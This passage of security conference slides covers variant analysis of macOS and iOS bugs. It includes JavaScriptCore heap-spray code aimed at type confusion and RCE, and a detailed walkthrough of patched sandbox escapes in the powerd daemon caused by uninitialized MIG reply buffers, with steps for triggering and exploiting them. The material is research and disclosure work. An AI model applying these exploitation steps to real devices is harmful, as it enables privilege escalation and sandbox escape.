 The attacker can keep allocating objects with the same size as the unmarked JSObject, 

and at some point the freelist of the target JSObject size class will be exhausted and a 

GC will start to sweep blocks

 At some point the unmarked JSObject will be sweeped, and be replaced by a newly 

allocated JSObject (which can be retrieved by the attacker via lw[0])

for (let i=0; i<1000; i++) {

for (let i=0; i<1000; i++) {

spr[i] = new Array(2).fill(14.47);

}

let lw = opt(s+"A",20,7);

edenGC();

for (let i=0; i<100; i++) {

let z = {h:new Array(2).fill(13.37),a:0,c:0,k:0};

z.h.length = 0x1ff;

}

edenGC();



• What the attacker can do :

 The attacker can keep allocating objects with the same size as the unmarked JSObject, 

and at some point the freelist of the target JSObject size class will be exhausted and a 

GC will start to sweep blocks

 At some point the unmarked JSObject will be sweeped, and be replaced by a newly 

allocated JSObject (which can be retrieved by the attacker via lw[0])

 Afterwards, usual type confusion primitives can be applied to achieve RCE

for (let i=0; i<1000; i++) {

for (let i=0; i<1000; i++) {

spr[i] = new Array(2).fill(14.47);

}

let lw = opt(s+"A",20,7);

edenGC();

for (let i=0; i<100; i++) {

let z = {h:new Array(2).fill(13.37),a:0,c:0,k:0};

z.h.length = 0x1ff;

}

edenGC();



Case study 2 : A patched Sandbox Escape in the 
powerd Daemon



Case study 2 : A patched Sandbox Escape in the 
powerd Daemon

• Found by Mohamed Ghannam (@_simo36) and disclosed in 2019. 04

• It was actually a really neat bug (root/unsandboxed daemon, iOS exploit).  
Sandbox escapes seem to be really underrated by the community…

• Full exploit disclosed in the SSD blog

• Was a bug that was easy to miss, unless you scrutinize very closely



Root cause analysis

Understanding the        pattern



• Allocates a mach message reply buffer for the MIG function call

• It doesn’t zero-fill the reply buffer

static void
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
{

mig_reply_error_t * bufRequest = msg;
mig_reply_error_t * bufReply = CFAllocatorAllocate(NULL, _powermanagement_subsystem.maxsize, 0);
mach_msg_return_t mr;
int options;

__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);

/* we have a request message */
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) &&
(bufReply->RetCode != KERN_SUCCESS)) {



• The MIG function is called with the uninitialized reply buffer

static void
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
{

mig_reply_error_t * bufRequest = msg;
mig_reply_error_t * bufReply = CFAllocatorAllocate(NULL, _powermanagement_subsystem.maxsize, 0);
mach_msg_return_t mr;
int options;

__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);

/* we have a request message */
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) &&
(bufReply->RetCode != KERN_SUCCESS)) {



• In io_pm_last_wake_time, If gSMCSupportsWakeupTimer is not initialized, 
then 2 MIG output values remain uninitialized, and is sent back to the caller

• Info leak primitive

kern_return_t _io_pm_last_wake_time(mach_port_t server, vm_offset_t *out_wake_data, mach_msg_type_number_t

*out_wake_len, vm_offset_t *out_delta_data, mach_msg_type_number_t *out_delta_len, int *return_val) {

*out_wake_len = 0;

*out_delta_len = 0;

*return_val = kIOReturnInvalid;

if (gExpectingWakeFromSleepClockResync) {

*return_val = kIOReturnNotReady;

return KERN_SUCCESS;

}

if (!gSMCSupportsWakeupTimer) {

*return_val = kIOReturnNotFound;

return KERN_SUCCESS;

};

*out_wake_data = (vm_offset_t)gLastWakeTime;

*out_wake_len = sizeof(*gLastWakeTime);

*out_delta_data = (vm_offset_t)gLastSMCS3S0WakeInterval;

*out_delta_len = sizeof(*gLastSMCS3S0WakeInterval);

*return_val = kIOReturnSuccess;



kern_return_t _io_pm_connection_copy_status

(

mach_port_t server,

int status_index,

vm_offset_t *status_data,

mach_msg_type_number_t *status_dataCnt,

int *return_val

)

{

return KERN_SUCCESS;

}

• In io_pm_connection_copy_status, the function does absolutely nothing and 
returns success. status_data and status_dataCnt are both taken from the 
uninitialized reply buffer. As a result, they will be interpreted by MIG as the 
reply buffer address and size, and the buffer data will be returned to the IPC 
function caller

• Massive heap info leak primitive (Provided that the attacker knows a valid heap address)



__private_extern__ kern_return_t _io_pm_hid_event_copy_history( mach_port_t server,

vm_offset_t *array_data, mach_msg_type_number_t *array_dataLen,

int *return_val)

{

CFDataRef sendData = NULL;

sendData = CFPropertyListCreateData(0, gHIDEventHistory, kCFPropertyListXMLFormat_v1_0, 0, NULL);

if (!sendData) {

*return_val = kIOReturnError;

goto exit;

}

*array_data = (vm_offset_t)CFDataGetBytePtr(sendData);

*array_dataLen = (mach_msg_type_number_t)CFDataGetLength(sendData);

...

...

exit:

return KERN_SUCCESS;

}

• In io_pm_hid_event_copy_history, If CFPropertyListCreateData fails to 
serialize data in gHIDEventHistory, then it’ll simply return without initializing 
array_data and array_dataLen

• The MIG will deallocate the uninitialized pointer stored in array_data



How Mohamed Ghannam exploited it

• Spray a lot of large sized CoreFoundation objects

• With the infoleak, leak address of an attacker created CoreFoundation
object, using smart heuristics

• Use arbitrary vm_deallocate bug to deallocate an attacker controlled Core 
Foundation object

• Refill the freed memory with a page aligned, carefully crafted payload

• Call MIG function io_ps_release_pspowersource, which will call CFRelease
on the refilled memory, treating it as a Core Foundation object

• Use nemo’s objective-c exploitation technique to kick start the ROP/JOP 
chain



Finding a variant of the bug
in the same daemon



Ingredients

• The MIG function arguments must include an output buffer

• The function must not initialize the output buffer variables in the beginning

• The MIG function definition must specify “dealloc”

• There must be a way to fast-fail or early-return in the function

• The function must return KERN_SUCCESS



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• 100 lines below the vulnerable 
io_ps_update_pspowersource
function, there is 
io_ps_copy_powersources_info



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• It creates a CFArray and fills it 
with Core Foundation objects 
that were originally stored in 
gPSList[i].description



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• It creates a CFPropertyList
based on the newly created 
CFArray



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• If CFPropertyListCreateData fails, 
then the function will just fill in 
return_code, without initializing 
the output buffer data (ps_ptr & 
ps_len)

• But there is no vm_deallocate at 
the end of the function so the 
bug is useless?



routine io_ps_copy_powersources_info(

server          : mach_port_t;

in pstype : int;

out powersources : pointer_t, dealloc;

out return_code : int);

• The dealloc flag is set on the 
MIG function definition

• This means that MIG will be in 
charge of buffer deallocation, 
and when the function returns 
KERN_SUCCESS, then MIG will 
automatically vm_deallocate
the powersources buffer



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• How to trigger the bug :

Fill in gPSList[i].description with 
attacker controlled objects

Make CFPropertyListCreateData
fail



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• But where does 
gPSList[i].description come from?



kern_return_t _io_ps_update_pspowersource(mach_port_t server __unused,

audit_token_t token, int psid, vm_offset_t details_ptr, mach_msg_type_number_t

details_len, int *return_code) {

...

details = (CFMutableDictionaryRef)IOCFUnserialize((const char *)details_ptr,

NULL, 0, NULL);

if (!isA_CFDictionary(details))

{

*return_code = kIOReturnBadArgument;

} else {

PSStruct *next = iopsFromPSID(callerPID, psid);

if (!next) {

ERROR_LOG("Failed to find the power source for psid 0x%x from 

pid %d\n", psid, callerPID);

*return_code = kIOReturnNotFound;

} else {

...

if ((next->psType == kPSTypeIntBattery) || (next->psType ==

kPSTypeUPS)) {

if (next->description) {

CFRelease(next->description);

}

else {

...

}

next->description = details;

...

• MIG function 
io_ps_update_pspowersource

• This function deserializes
attacker controlled data into a 
CFObject using IOCFUnserialize

• iopsFromPSID returns 
&gPSList[psid]. The psid
argument is also attacker 
controlled

• Finally, the unserialized data is 
stored into
gPSList[psid]->description



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• How to trigger the bug :

Make IOCFUnserialize succeed 
with attacker controlled, serialized 
Core Foundation objects

Make CFPropertyListCreateData
fail with the unserialized Core 
Foundation objects



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• How to trigger the bug :

Make IOCFUnserialize succeed 
with attacker controlled, serialized 
Core Foundation objects

Make CFPropertyListCreateData
fail with the unserialized Core 
Foundation objects

• The problem : Both functions 
deal with Core Foundation 
objects



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• To make IOCFUnserialize
succeed and 
CFPropertyListCreateData fail, 
there must be a Core 
Foundation object that can only 
be parsed in IOCFUnserialize, 
but fails to be parsed in 
CFPropertyListCreateData



object:   dict          { $$ = buildDictionary(STATE, $1); }

| array         { $$ = buildArray(STATE, $1); }

| set           { $$ = buildSet(STATE, $1); }

| string        { $$ = buildString(STATE, $1); }

| data          { $$ = buildData(STATE, $1); }

| number        { $$ = buildNumber(STATE, $1); }

| boolean       { $$ = buildBoolean(STATE, $1); }

| idref         { $$ = retrieveObject(STATE, $1->idref);

if ($$) {

CFRetain($$->object);

} else { 

yyerror("forward reference detected");

YYERROR;

}

freeObject(STATE, $1);

}

• Looking at IOCFUnserialize.yacc, 
IOCFUnserialize successfully 
unserializes the following 
objects :

Dictionary

Array

Set

String

Data

Number

Boolean

 IDRef (reference of another object)



CFPropertyListCreateData

CFPropertyListWrite

__CFBinaryPlistWrite

CFIndex __CFBinaryPlistWrite(CFPropertyListRef plist, CFTypeRef stream,

uint64_t estimate, CFOptionFlags options, CFErrorRef *error) {

...

if (stringtype == type) {

CFIndex ret, count = CFStringGetLength((CFStringRef)obj);

CFIndex needed;

uint8_t *bytes, buffer[1024];

...

} else {

CFRelease(objtable);

CFRelease(objlist);

if (error && buf->error) {

// caller will release error

*error = buf->error;

} else if (buf->error) {

// caller is not interested in error, release it here

CFRelease(buf->error);

}

CFAllocatorDeallocate(kCFAllocatorSystemDefault, buf);

CFAllocatorDeallocate(kCFAllocatorSystemDefault, offsets);

return 0;

}

• Following a function call chain 
for CFPropertyListCreateData, 
it’ll finally reach 
CFBinaryPlistWrite which parses 
these type of objects :

String

Number

 Int128

UUID

Boolean

Data

Date

Dictionary

Array



Complement Set Diagram

Dictionary

Array

String

Data

Number

Boolean

Int128

UUID

DateSet

IOCFUnserialize

CFBinaryPlistWrite



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• How to trigger the bug :

Make IOCFUnserialize succeed 
with attacker controlled, serialized 
Core Foundation objects

Make CFPropertyListCreateData
fail with the unserialized Core 
Foundation object

• The problem : Both functions 
deal with Core Foundation 
objects

• Solution : Include a Core 
Foundation Set in the serialized 
object, so the IOCFUnserialize
succeeds and 
CFPropertyListCreateData fails



kern_return_t _io_ps_copy_powersources_info(mach_port_t server __unused, int

type, vm_offset_t *ps_ptr, mach_msg_type_number_t *ps_len, int *return_code) {

CFMutableArrayRef return_value = NULL;

for (int i=0; i<kPSMaxCount; i++) {

...

if (!return_value) {

return_value = CFArrayCreateMutable(0, 0, &kCFTypeArrayCallBacks);

}

CFArrayAppendValue(return_value, (const void *)gPSList[i].description);

}

if (!return_value) {

*ps_ptr = 0;

*ps_len = 0;

} else {

CFDataRef d = CFPropertyListCreateData(0, return_value,

kCFPropertyListBinaryFormat_v1_0, 0, NULL);

CFRelease(return_value);

if (d) {

*ps_len = (mach_msg_type_number_t)CFDataGetLength(d);

vm_allocate(mach_task_self(), (vm_address_t *)ps_ptr, *ps_len, TRUE);

memcpy((void *)*ps_ptr, CFDataGetBytePtr(d), *ps_len);

CFRelease(d);

}

}

*return_code = kIOReturnSuccess;

return 0;

}

• How to trigger the bug :

Make IOCFUnserialize succeed 
with attacker controlled, serialized 
Core Foundation objects

Make CFPropertyListCreateData
fail with the unserialized Core 
Foundation object

• The problem : Both functions 
deal with Core Foundation 
objects

• Solution : Include a Core 
Foundation Set in the serialized 
object, so IOCFUnserialize
succeeds and 
CFPropertyListCreateData fails



Another arbitrary vm_deallocate() bug



How Apple patched it



How Apple patched it

Apple declares : “All uninitialized reply buffer 

vulnerabilities in powerd, BE GONE!!” …



Other variants



Other variants



Takeaways

• Variants can live for several months unnoticed (or even years)

• Bug collisions happen (very often)

• Vendors are doing it

• Less overhead to find bugs compared to other bughunting methods

• If an exploit is released, then exploitation of a new bug variant is trivial

• Variant analysis is not limited just to the bug pattern. Knowing the attack surface

from a patched bug is also very beneficial



Sources for Variant Analysis



Sources for Variant Analysis
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Sources for Variant Analysis



Sources for Variant Analysis



Some questions to ask yourself… (Reverse thinking)

• What was the attack surface for the Pwn2Own (or other hacking 

competition) bugs?

• How would the bug finder have found those bugs? Would it most likely 
have been found by fuzzing? Pure auditing? Variant analysis of recent 
“hot bug patterns”? Upstream patched N-Days that are not yet 
downstreamed by vendors?



Integer overflow in Array Spread



Integer overflow in Array Spread

Is this properly implemented 

in the JIT code as well?



Integer overflow in Array Spread (DFG JIT)



Some questions to ask yourself… (Reverse thinking)

• What was the attack surface for the Pwn2Own (or other hacking 

competition) bugs?

• How would the bug finder have found those bugs? Would it most likely 
have been found by fuzzing? Pure auditing? Variant analysis of recent 
“hot bug patterns”? Upstream patched N-Days that are not yet 
downstreamed by vendors?

• How would I have found those bugs? What would have been the most 
economically (time-wise) feasible method?



Areas for improvement

• The uninitialized output buffer bugs seem to be eliminated in daemons 
that are open-sourced. But what about closed-source legacy IPC 
daemons…?

• This presentation only covers fuzzing legacy IPC endpoints. What about 
XPC? NSXPC? (Actually partially dealt with in a BlackHat 2015 presentation by Pangu Team). 
Requires to build a custom mutator that conforms to the XPC format

• What about iOS specific daemons that don’t exist in MacOS?

• Try to attach a sanitizer



Some comments on Variant analysis

• Lower entry point for Bughunting & Exploitation. Basically the bug pattern is 

laid out, and for bugs with a full blown exploit, exploitation method is laid 

out for researchers to study and use

• However, bugs are relatively short lived (In personal experience, about 30% of the bugs 

are long lived and the rest die quickly. Probably among those 30%, more than half of the bugs are 

already found by other researchers, but are silently traded, hence no public info or patch)

• By studying patched bugs and exploitation methods, you gain more deeper 

knowledge of the system and attack surface. At some point you gain enough 

knowledge to not rely on other people’s variants, and become sufficiently 

skilled to find new bug kinds and patterns, or one-of-the-kind bugs 



Conclusion

• Coverage guided fuzzing hasn’t flourished in MacOS as much as other 
operating systems (Windows, Linux). Still a lot of area to improve

• Variant analysis is a powerful and relatively easy way to find exploitable 
bugs (but keep in mind that many others are doing it. Essentially a race)

• Studying other people’s bugs helps a lot, even if it’s just a simple 
bin/source diff. Doing so reveals the attack surface where buggy code 
is being written (which is a potential source of even more bugs)



Thank you


